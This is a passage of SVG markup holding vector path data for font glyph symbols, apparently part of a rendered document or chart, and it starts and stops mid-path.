-1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/> +</symbol> +<symbol overflow="visible" id="glyph0-1"> +<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-2"> +<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-3"> +<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-4"> +<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-5"> +<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-6"> +<path style="stroke:none;" d="M 1.546875 -9.109375 C 1.546875 -9.484375 1.632812 -9.765625 1.8125 -9.953125 C 2 -10.140625 2.25 -10.234375 2.5625 -10.234375 C 2.875 -10.234375 3.117188 -10.140625 3.296875 -9.953125 C 3.484375 -9.765625 3.578125 -9.484375 3.578125 -9.109375 C 3.578125 -8.710938 3.484375 -8.414062 3.296875 -8.21875 C 3.117188 -8.03125 2.875 -7.9375 2.5625 -7.9375 C 2.25 -7.9375 2 -8.03125 1.8125 -8.21875 C 1.632812 -8.414062 1.546875 -8.710938 1.546875 -9.109375 Z M 1.546875 -0.921875 C 1.546875 -1.296875 1.632812 -1.578125 1.8125 -1.765625 C 2 -1.953125 2.25 -2.046875 2.5625 -2.046875 C 2.875 -2.046875 3.117188 -1.953125 3.296875 -1.765625 C 3.484375 -1.578125 3.578125 -1.296875 3.578125 -0.921875 C 3.578125 -0.523438 3.484375 -0.226562 3.296875 -0.03125 C 3.117188 0.15625 2.875 0.25 2.5625 0.25 C 2.25 0.25 2 0.15625 1.8125 -0.03125 C 1.632812 -0.226562 1.546875 -0.523438 1.546875 -0.921875 Z M 1.546875 -0.921875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-7"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph0-8"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-9"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-10"> +<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-11"> +<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-12"> +<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-13"> +<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-14"> +<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-15"> +<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 